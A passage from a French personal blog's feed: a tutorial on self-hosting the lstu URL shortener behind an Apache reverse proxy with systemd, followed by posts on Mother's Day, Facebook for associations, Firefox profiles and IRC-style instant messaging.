&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://git.framasoft.org/luc/lstu.git
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lstu
carton&lt;span class="w"&gt; &lt;/span&gt;install
cp&lt;span class="w"&gt; &lt;/span&gt;lstu.conf.template&lt;span class="w"&gt; &lt;/span&gt;lstu.conf
vim&lt;span class="w"&gt; &lt;/span&gt;lstu.conf&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Avant de lancer le script, je passe en revue le fichier de configuration afin de l&amp;rsquo;adapter à mes besoins et mes paramètres. Il reste ensuite à « lancer le script » avec la commande suivante.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;carton&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hypnotoad&lt;span class="w"&gt; &lt;/span&gt;script/lstu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;lstu&lt;/em&gt; fonctionne localement. Le tuto officiel, s&amp;rsquo;arrête plus ou moins là.&lt;/p&gt;
&lt;p&gt;— Oui mais ce que je veux c&amp;rsquo;est que le service soit dispo à l&amp;rsquo;adresse &lt;code&gt;example.org&lt;/code&gt; et pas en &lt;code&gt;127.0.0.1:8080&lt;/code&gt; !&lt;/p&gt;
&lt;p&gt;Pour ce faire, il faut configurer &lt;em&gt;apache&lt;/em&gt; (ou &lt;em&gt;nginx&lt;/em&gt; si tu préfères mais dans la suite, ça parle de apache) pour qu&amp;rsquo;il fasse le lien entre le « service web » et l&amp;rsquo;application &lt;em&gt;perl&lt;/em&gt; qui tourne derrière. Il faut donc lier le service avec le nom de domaine et le rendre disponible sur le port 80 en configurant le &lt;em&gt;reverse proxy&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Mise en place du reverse proxy&lt;/h2&gt;
&lt;p&gt;Supposons qu&amp;rsquo;il y a déjà un serveur web fonctionnel sur le machine et que ce soit &lt;strong&gt;Apache2&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Avant toute chose, rendre les modules &lt;code&gt;mod_proxy&lt;/code&gt; et &lt;code&gt;mod_proxy_http&lt;/code&gt; disponibles afin que le serveur web puisse jouer ce rôle de &lt;em&gt;reverse proxy&lt;/em&gt; c&amp;rsquo;est-à-dire permettre de rediriger une requête web vers un service local (ou interne). Pour rendre les modules dispo, cette commande suffit&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;a2enmod&lt;span class="w"&gt; &lt;/span&gt;proxy_http
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il faut ensuite configurer le &lt;em&gt;virtual host&lt;/em&gt; correspondant au nom de domaine que l&amp;rsquo;on veut utiliser pour rediriger le service. Pour ce faire, ajoutez un fichier &lt;code&gt;example.org.conf&lt;/code&gt; dans &lt;code&gt;/etc/apache2/sites-available&lt;/code&gt; à l&amp;rsquo;allure suivante (en passant, n&amp;rsquo;oubliez pas de rediriger le nom de domaine vers l&amp;rsquo;IP du serveur hébergeant le service lstu):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
ServerName http://example.org
ServerAdmin webmaster@elsewhere

ProxyRequests Off
ProxyPreserveHost On
ProxyPass / http://127.0.0.1:8080
ProxyPassReverse / http:/example.org

LogLevel info
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# Local reverse proxy authorization override                                  
# Most unix distribution deny proxy by default                                
&amp;lt;Proxy http://127.0.0.1:8080/*&amp;gt;
    Order deny,allow                                                          
    Allow from all                                                            
&amp;lt;/Proxy&amp;gt;
&amp;lt;/VirtualHost&amp;gt;
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Après avoir demandé à &lt;em&gt;apache&lt;/em&gt; de tenir compte de ce nouveau site (via &lt;code&gt;a2ensite example.org&lt;/code&gt;), &lt;em&gt;reloader&lt;/em&gt; le serveur.&lt;/p&gt;
&lt;h2&gt;Lancement via systemd&lt;/h2&gt;
&lt;p&gt;Je ne reprends pas ici la manière de faire pour permettre de lancer un script au démarrage &lt;em&gt;à la&lt;/em&gt; Sys V puisque le futur semble être &lt;em&gt;systemd&lt;/em&gt; (un peu de &lt;a href="https://www.alionet.org/content.php?198-Systemd-comment-ca-marche-Partie-2"&gt;doc&lt;/a&gt; et de &lt;a href="http://0pointer.de/public/systemd-man/systemd.unit.html"&gt;pages&lt;/a&gt; de &lt;a href="http://0pointer.de/public/systemd-man/systemd.service.html"&gt;manuel&lt;/a&gt; comme mise en bouche ou pour les détails un peu plus tard). Avec &lt;em&gt;systemd&lt;/em&gt;, il faut ajouter un fichier &lt;code&gt;lstu.service&lt;/code&gt; dans &lt;code&gt;/lib/systemd/system&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ce fichier aura la forme suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[Unit]
Description=lstu, Let&amp;#39;s Shorten That Url
Documentation=https://github.com/ldidry/lstu

[Service]
User=lstu
Type=forking
WorkingDirectory=/var/www/example.org
ExecStart=/usr/local/bin/carton exec hypnotoad script/lstu

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ce fichier demande à &lt;em&gt;systemd&lt;/em&gt; de lancer &lt;em&gt;lstu&lt;/em&gt;. Il reste à demander à &lt;em&gt;systemd&lt;/em&gt; de lancer le service au boot de la machine.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/lib/systemd/system/lstu.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Relooking de la page&lt;/h2&gt;
&lt;p&gt;Pour changer un peu le style de la page, c&amp;rsquo;est dans les répertoires &lt;em&gt;templates&lt;/em&gt; et &lt;em&gt;public&lt;/em&gt; que ça se passe. La mise en page utilise &lt;a href="http://www.w3schools.com/bootstrap/"&gt;Twitter Bootstrap&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il suffit de modifier un peu le fichier &lt;code&gt;templates/layouts/default.html.ep&lt;/code&gt; et l&amp;rsquo;on obtient un résultat déjà très concluant.&lt;/p&gt;
&lt;p&gt;Pour tester le service, c&amp;rsquo;est là &lt;strong&gt;&lt;a href="http://esi.link/"&gt;esi.link&lt;/a&gt;&lt;/strong&gt;.&lt;br&gt;
Quant à moi, il me reste à retirer le &lt;em&gt;shell&lt;/em&gt; de l&amp;rsquo;utilisateur &lt;em&gt;lstu&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Et à la fin de la rédaction de cette page, je viens de tomber sur &lt;a href="http://framacloud.org/cultiver-son-jardin/installation-de-lstu/http://framacloud.org/cultiver-son-jardin/installation-de-lstu/"&gt;ce lien&lt;/a&gt; un peu plus détaillé également.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://eastmonkey.deviantart.com/art/pig-180240674"&gt;EastMonke&lt;/a&gt;. Un bon gros lien bien gros et bien gras qui devient un joli petit lien. Oui, l&amp;rsquo;image est un peu osée.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Les papas doivent ils fêter la fête des mères ?</title><link href="http://blog.namok.be/2015-05-09-papas-fete-des-meres.html" rel="alternate"/><published>2015-05-09T00:00:00+02:00</published><updated>2015-05-09T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-05-09:/2015-05-09-papas-fete-des-meres.html</id><summary type="html">Les papas doivent ils fêter la fête des mères ?</summary><content type="html">&lt;p&gt;&lt;img alt="Pregnant" src="/images/Pregnant___Toiletology_by_saintvinasse_recut.jpg"&gt;&lt;/p&gt;
&lt;p&gt;La fête des mères consacre le moment où une femme passe du statut de Femme au statut de Mère. Pour un mari, c&amp;rsquo;est l&amp;rsquo;anniversaire du jour où il a perdu sa &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; femme pour gagner une mère… &lt;strong&gt;la mère de ses enfants&lt;/strong&gt;. Sa mère à lui, on n&amp;rsquo;y touche pas. Malheureux ! &lt;/p&gt;
&lt;p&gt;Dans mon couple sans enfants — plein d&amp;rsquo;amour et de passion — je suis attentif au bien être de l&amp;rsquo;autre. Je conserve mon individualité, mes projets, mes envies, mon identité et je partage « mon entièreté » avec mon partenaire. Il fait de même avec moi car nous sommes très importants l&amp;rsquo;un pour l&amp;rsquo;autre. Je ne le comprends peut-être pas, j&amp;rsquo;apprends à le connaitre et surtout, je m&amp;rsquo;intéresse à lui. &lt;strong&gt;Nous sommes deux&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Un jour ma femme devient mère.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;De la fécondation — plus précisément le jour du pipi sur le test de grossesse — à la naissance je pense avoir le temps de me préparer. J&amp;rsquo;attends avec (presque) autant d&amp;rsquo;impatience que la future mère la naissance du bébé. J&amp;rsquo;accompagne ma femme partout où nous trouvons bien d&amp;rsquo;aller. Haptonomie, gynéco, magasin, visite de la maternité… Je mets ma main sur son ventre qui devient rond et nous nous regardons (assez bêtement) en souriant.&lt;/p&gt;
&lt;p&gt;Puis vient le jour de l&amp;rsquo;accouchement. Je participe autant que je peux. Il ne s&amp;rsquo;agit pas que je sois relégué dans un coin comme un vulgaire &lt;em&gt;sextoy&lt;/em&gt; dont on ne se sert plus. J&amp;rsquo;accompagne moi monsieur ! En fait d&amp;rsquo;accompagnement, j&amp;rsquo;essaie de ne pas gêner et je me borne à faire preuve de beaucoup de calme. Tout va bien se passer ma chérie &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Donne moi ta douleur. Pousse.&lt;/p&gt;
&lt;p&gt;Soudain, Jean-Kévin &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; est là.&lt;br&gt;
Tout va changer.&lt;/p&gt;
&lt;p&gt;On congratule chaleureusement la mère et on me félicite tout en me remerciant de tendre une coupe de champagne. En terme de champagne, je sers du mousseux &lt;em&gt;juste pas tiède&lt;/em&gt; parce qu&amp;rsquo;on est à l&amp;rsquo;hôpital quand même. Et puis, je sens déjà « &lt;strong&gt;l&amp;rsquo;odeur du baudet&lt;/strong&gt; ».&lt;/p&gt;
&lt;p&gt;Le baudet.&lt;/p&gt;
&lt;p&gt;Imagine celui qui portera le frigo box avec ce fameux mousseux sous le regard inquisiteur des infirmiers et des infirmières, le sac à langer dans lequel il ne saura jamais où ranger les bodies et les couches, l&amp;rsquo;écharpe parce que c&amp;rsquo;est mieux (si si), le lit pliant qu&amp;rsquo;il faudra monter, descendre, ouvrir, fermer alors que bébé ne daignera pas dormir dedans une fois sur deux…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tout va changer.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Tout va changer parce que maintenant, on est une &lt;strong&gt;famille&lt;/strong&gt;. Nous ne sommes plus l&amp;rsquo;unique centre d&amp;rsquo;intérêt l&amp;rsquo;un de l&amp;rsquo;autre. Nous nous élevons au statut de parent. Notre attention n&amp;rsquo;est plus consacrée au bien-être de l&amp;rsquo;autre, notre moitié, notre partenaire. Elle est consacrée au bien-être de l&amp;rsquo;autre : Jean-Kévin et son grand sourire.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ce jour là, j&amp;rsquo;ai perdu une femme pour gagner une mère.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;C&amp;rsquo;est la fête.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Bonne fête.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt; &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par Édouard Reinach (&lt;a href="http://www.deviantart.com/art/Pregnant-Toiletology-97134890"&gt;saintvinasse&lt;/a&gt;). Juste après le test de grossesse, le début de l&amp;rsquo;aventure.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Pas question de possession ici ni de machisme. Dès lors que deux personnes décident de vivre ensemble l&amp;rsquo;un est le « mon » ou « ma » de l&amp;rsquo;autre et &lt;em&gt;vice versa&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Si tu te reconnais dans ce texte, tu peux remplacer « chérie » par ce que tu veux; chouchou, mon chou, nounours, ma crotte, ma couille (dédicace spéciale / &lt;em&gt;private joke&lt;/em&gt;)…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;J&amp;rsquo;aime bien Jean-Kévin. Tu peux choisir Dylan ou Gontrand, voire François-Adélard c&amp;rsquo;est selon. Dans la BD « &lt;a href="https://www.lelombard.com/bd/litteul-kevin"&gt;Little Kévin&lt;/a&gt; », Kévin crie « Jéronimo ! » la première fois où… Bref, choisi le prénom que tu veux.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Facebook est un mauvais moyen de communication pour une association</title><link href="http://blog.namok.be/2015-05-06-facebook-est-un-mauvais-moyen-de-communication-pour-une-association.html" rel="alternate"/><published>2015-05-06T00:00:00+02:00</published><updated>2015-05-06T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-05-06:/2015-05-06-facebook-est-un-mauvais-moyen-de-communication-pour-une-association.html</id><summary type="html">Facebook est un mauvais moyen de communication pour une association</summary><content type="html">&lt;p&gt;&lt;img alt="Couttet" src="/images/jpcouttet-fiama.jpg"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Avec le grand nombre d&amp;rsquo;utilisateurs et de pages Facebook, il est en effet impossible d&amp;rsquo;afficher dans le fil d&amp;rsquo;actualité d&amp;rsquo;un utilisateur l&amp;rsquo;intégralité des contenus postés par ses amis et les pages qu&amp;rsquo;il suit. Facebook doit donc trier.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lemonde.fr/pixels/article/2014/07/01/comment-fonctionne-l-algorithme-de-facebook_4448781_4408996.html"&gt;Extrait de « Comment fonctionne l&amp;rsquo;algorithme de Facebook »&lt;/a&gt; de &lt;a href="https://twitter.com/martin_u"&gt;Martin Untersinger&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Facebook utilise un algorithme pour trier les articles et choisir ceux qui seront « montrés » à l&amp;rsquo;utilisateur. &lt;a href="http://marketingland.com/edgerank-is-dead-facebooks-news-feed-algorithm-now-has-close-to-100k-weight-factors-55908"&gt;Il nous dit qu&amp;rsquo;un utilisateur moyen aurait 1500 histoires à consulter à chacune de ses visites&lt;/a&gt;. Pour choisir que montrer, Facebook se base, bien sûr, sur les affinités entre les personnes — Comment les détermine-t-il ? — et sur la date de publication. Il se base aussi sur le nombre de &lt;em&gt;like&lt;/em&gt; que la publication a reçu puisque ce nombre de &lt;em&gt;like&lt;/em&gt; détermine l&amp;rsquo;intérêt que portent les &lt;em&gt;amifacebooks&lt;/em&gt; à la publication. Il utilise encore &lt;a href="http://www.emarketinglicious.fr/social-media/facebook-change-algorithme-fil-actualite"&gt;d&amp;rsquo;autres critères&lt;/a&gt; tels que le &lt;em&gt;Last actor&lt;/em&gt; qui a pour effet de montrer les publications des &lt;em&gt;amifacebooks&lt;/em&gt; (pages et groupes compris) avec lesquels on interagit fréquemment… et ne pas montrer les autres.&lt;/p&gt;
&lt;p&gt;Cet algorithme &lt;a href="http://www.lemonde.fr/pixels/breve/2015/04/23/facebook-modifie-son-algorithme-pour-remettre-vos-amis-en-avant_4621105_4408996.html"&gt;change très régulièrement&lt;/a&gt; afin d&amp;rsquo;améliorer notre expérience utilisateur (sic). &lt;a href="http://media.fb.com/2015/04/21/news-feed-fyi-balancing-content-from-friends-and-pages/"&gt;Ces changements&lt;/a&gt;, outre &lt;a href="http://www.lemonde.fr/pixels/article/2014/06/30/facebook-ce-que-nous-apprend-une-vaste-experience-psychologique-controversee_4447775_4408996.html"&gt;qu&amp;rsquo;ils ont une influence sur mes émotions&lt;/a&gt;, font que je ne sais pas très bien ce que je vais voir. Mais rassurons nous, Facebook nous promet que &lt;strong&gt;nous allons voir ce que nous avons envie de voir&lt;/strong&gt; parce que Lui, Il sait !&lt;/p&gt;
&lt;p&gt;Beaucoup d&amp;rsquo;utilisateurs n&amp;rsquo;ont pas compris la &lt;strong&gt;différence&lt;/strong&gt; entre un &lt;strong&gt;utilisateur&lt;/strong&gt; et une &lt;strong&gt;page&lt;/strong&gt; ou un &lt;strong&gt;groupe&lt;/strong&gt;. C&amp;rsquo;est bien dommage car je n&amp;rsquo;ai pas envie d&amp;rsquo;avoir comme &lt;em&gt;amifacebook&lt;/em&gt; mon club d&amp;rsquo;escalade par exemple. Mon club d&amp;rsquo;escalade, c&amp;rsquo;est une page ou un groupe. La bonne manière de faire pour moi est la suivante.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Robert Bellepaire (personnage fictif) responsable du club d&amp;rsquo;escalade se crée un compte à son nom et peut se faire tous les &lt;em&gt;amifacebooks&lt;/em&gt; qu&amp;rsquo;il veut. Que ces personnes s&amp;rsquo;intéressent à l&amp;rsquo;escalade ou pas, on s&amp;rsquo;en fout ! Ces &lt;em&gt;amifacebooks&lt;/em&gt; pourront voir ses photos de vacances ou de barbecue. Robert est content.&lt;/p&gt;
&lt;p&gt;Robert, responsable du club, crée une page pour le club et tous ceux qui s&amp;rsquo;intéressent au club pourront(aient) recevoir les infos du club. Pas celle concernant uniquement Robert. Les membres du club sont contents.&lt;/p&gt;
&lt;p&gt;Si un jour Réné vient aider Robert au club d&amp;rsquo;escalade, ce sera simple d&amp;rsquo;ajouter René comme administrateur de la page. Les infos de la page du club seront données par Robert ou René. René est content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Facile&lt;/strong&gt;, tout le monde est content !&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Facebook est un &lt;strong&gt;mauvais moyen&lt;/strong&gt; de communication pour une association (mouvement de jeunesse, club de sport… n&amp;rsquo;importe quel groupe ou société) car l&amp;rsquo;association n&amp;rsquo;est &lt;strong&gt;absolument pas sure que le message qu&amp;rsquo;elle poste sera vu&lt;/strong&gt; ! Pour communiquer efficacement, ça se pose un peu là.&lt;/p&gt;
&lt;p&gt;Pour que l&amp;rsquo;association ait une bonne communication, il existe l&amp;rsquo;&lt;em&gt;email&lt;/em&gt;, les &lt;a href="2013-10-29-bon-usage-mailing-list.html"&gt;listes de diffusion&lt;/a&gt;, ou un site web (avec un flux RSS/Atom).&lt;/p&gt;
&lt;p&gt;Ah oui, c&amp;rsquo;est &lt;em&gt;has-been&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo de &lt;a href="http://jpcouttet.free.fr/courses/fiama/fiama.html"&gt;Jean-Philippe Couttet&lt;/a&gt;, guide de montagne coup de cœur de &lt;a href="http://musiqueautour.be/"&gt;Jean-Pol Den&lt;/a&gt;, lors d&amp;rsquo;une course à Val Bregaglia.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Comment gérer plusieurs profils dans son navigateur ?</title><link href="http://blog.namok.be/2015-05-05-comment-gerer-plusieurs-profils-dans-son-navigateur.html" rel="alternate"/><published>2015-05-05T00:00:00+02:00</published><updated>2015-05-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-05-05:/2015-05-05-comment-gerer-plusieurs-profils-dans-son-navigateur.html</id><summary type="html">Comment gérer plusieurs profils dans son navigateur ?</summary><content type="html">&lt;p&gt;&lt;em&gt;TL;DR Comment gérer des « identités » différentes avec Firefox par exemple.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="The beast" src="/images/relaxing_in_the_library_by_sjbonnar-d7xdmtn.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Si vous êtes schizophrène comme nous, vous devez gérer plusieurs profils web. Si vous ne le faites pas, vous devriez ! Par exemple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un profil &lt;strong&gt;perso&lt;/strong&gt; avec votre compte &lt;a href="https://facebook:com"&gt;Facebook&lt;/a&gt; et votre compte &lt;a href="https://google.com"&gt;Google&lt;/a&gt; (pour accéder à vos mails, votre drive…);&lt;/li&gt;
&lt;li&gt;un autre profil &lt;strong&gt;professionnel&lt;/strong&gt; avec votre mail pro, le &lt;em&gt;cloud&lt;/em&gt; de l&amp;rsquo;entreprise, les comptes &lt;em&gt;drive&lt;/em&gt;, &lt;a href="https://dropbox.com/"&gt;Dropbox&lt;/a&gt;, &lt;a href="https://linkedin.com"&gt;Linkedin&lt;/a&gt;…;&lt;/li&gt;
&lt;li&gt;un troisième profil pour toutes vos activités inavouables (&lt;a href="https://www.youtube.com/watch?v=gbSpokOYhqI&amp;amp;feature=youtu.be"&gt;si si vous en avez&lt;/a&gt; ;-) )&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour chaque profil, votre navigateur consacre un répertoire spécifique pour y stocker toutes les informations inhérentes à ce profil; &lt;em&gt;cookies&lt;/em&gt;, historique, configuration, extensions installées, &lt;em&gt;bookmarks&lt;/em&gt;… Par exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;~/.mozilla/firefox/1234abcd.default
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Votre navigateur se souvient des données de connexion ce qui fait qu&amp;rsquo;en fonction du profil et en utilisant identiquement la même url (par exemple &lt;code&gt;drive.google.com&lt;/code&gt;) je me retrouve dans mon &lt;em&gt;drive&lt;/em&gt; personnel ou bien professionnel ou bien « professionnel avec telle fonction ».&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Je ne pense pas que l&amp;rsquo;on puisse (encore) travailler autrement sans tout mélanger.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles"&gt;Avec Firefox&lt;/a&gt;, lancez votre navigateur avec l&amp;rsquo;option &lt;code&gt;-P&lt;/code&gt; et il ouvrira votre &lt;em&gt;profile manager&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. À partir de là, vous pourrez créer, supprimer, éditer, renommer vos profils.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;firefox&lt;span class="w"&gt; &lt;/span&gt;-P
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il existe un &lt;a href="https://addons.mozilla.org/En-us/firefox/addon/profileswitcher/"&gt;plugin Firefox, ProfileSwitcher&lt;/a&gt;, permettant de &lt;em&gt;switcher&lt;/em&gt; facilement d&amp;rsquo;un profil à un autre. Installez ce &lt;em&gt;plugin&lt;/em&gt; et reprenez une activité normale… Ce plugin est mort, paix à son âme. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Édité le 27 octobre 2020&lt;/em&gt; Il existe un &lt;a href="https://addons.mozilla.org/fr/firefox/addon/multi-account-containers/"&gt;plugin Firefox&lt;/a&gt; &lt;em&gt;multi account container&lt;/em&gt; permettant de gérer des profils.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Édité le 8 mai 2025&lt;/em&gt; La plupart des services proposent le &lt;em&gt;switch&lt;/em&gt; entre les comptes mais je m&amp;rsquo;en méfie et je préfère encore gérer mes comptes comme ça. &lt;/p&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://sjbonnar.deviantart.com/art/Relaxing-in-the-Library-479326667"&gt;sjbonnar&lt;/a&gt;. The Beast de son vrai nom &lt;a href="https://fr.wikipedia.org/wiki/Le_Fauve"&gt;Henry « Hank » Philip McCoy&lt;/a&gt; apparait dans X-Men. Là, il se repose à la bibliothèque&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Firefox ne peut pas être lancé. Il faut entrer cette commande dans une console.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Messagerie instantanée jabber avec weechat… idem avec irssi… bref, ça utilise bitlbee. Ou la messagerie instantanée version geek</title><link href="http://blog.namok.be/2015-05-02-messagerie-instantanee-version-geek.html" rel="alternate"/><published>2015-05-02T00:00:00+02:00</published><updated>2015-05-02T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-05-02:/2015-05-02-messagerie-instantanee-version-geek.html</id><summary type="html">Où l'on parle de (feu) Jabber</summary><content type="html">&lt;p&gt;&lt;img alt src="/images/Cabine_telephonique_by_Alexandre968.jpg"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;utilise très peu le &lt;em&gt;chat Facebook&lt;/em&gt; comme moyen de discussion instantanée. Je n&amp;rsquo;aime pas le &lt;em&gt;chat&lt;/em&gt; &lt;a href="http://facebook.com/"&gt;Facebook&lt;/a&gt; qui m&amp;rsquo;impose de rester connecté et de discuter dans ces petites fenêtres décidément trop petites. Je n&amp;rsquo;aime pas trop &lt;a href="http://skype.com/"&gt;Skype&lt;/a&gt; et consorts principalement parce que je n&amp;rsquo;ai pas beaucoup de contacts et que je ne veux dès lors pas laisser cette (ces) application(s) lancée(s) tout le temps. Ces applications font bien le boulot pour une communication &lt;strong&gt;orale&lt;/strong&gt; ou &lt;strong&gt;visuelle&lt;/strong&gt; mais ne me conviennent pas à l&amp;rsquo;&lt;strong&gt;écrit&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Pour moi, la discussion instantanée n&amp;rsquo;est pas spécialement instantanée.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Parfois, j&amp;rsquo;écris un message pour un pote et je sais qu&amp;rsquo;il ne sera pas lu tout de suite. Ce message est relativement court et ne nécessite pas l&amp;rsquo;envoi d&amp;rsquo;un mail. En fait, ma &lt;strong&gt;discussion instantanée est assez asynchrone&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Je pense être d&amp;rsquo;un naturel assez social, bien que timide. Il en ressort que je préfère discuter &lt;strong&gt;en groupes&lt;/strong&gt;. Quand j&amp;rsquo;écris un message, c&amp;rsquo;est pour un groupe de personnes. Ça fait plus « discussion de café » que « coup de téléphone ».&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;essentiel de mes discussions se passe sur IRC. Pour pouvoir discuter en utilisant mon portable et mon smartphone, je &lt;a href="2013-07-28-irc-2.0.html"&gt;suis passé à IRC 2.0&lt;/a&gt; grâce à &lt;a href="http://wiki.znc.in/ZNC"&gt;ZNC&lt;/a&gt;, une sorte de proxy pour IRC.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tout est très bien, la vie est belle.&lt;/em&gt;&lt;/p&gt;
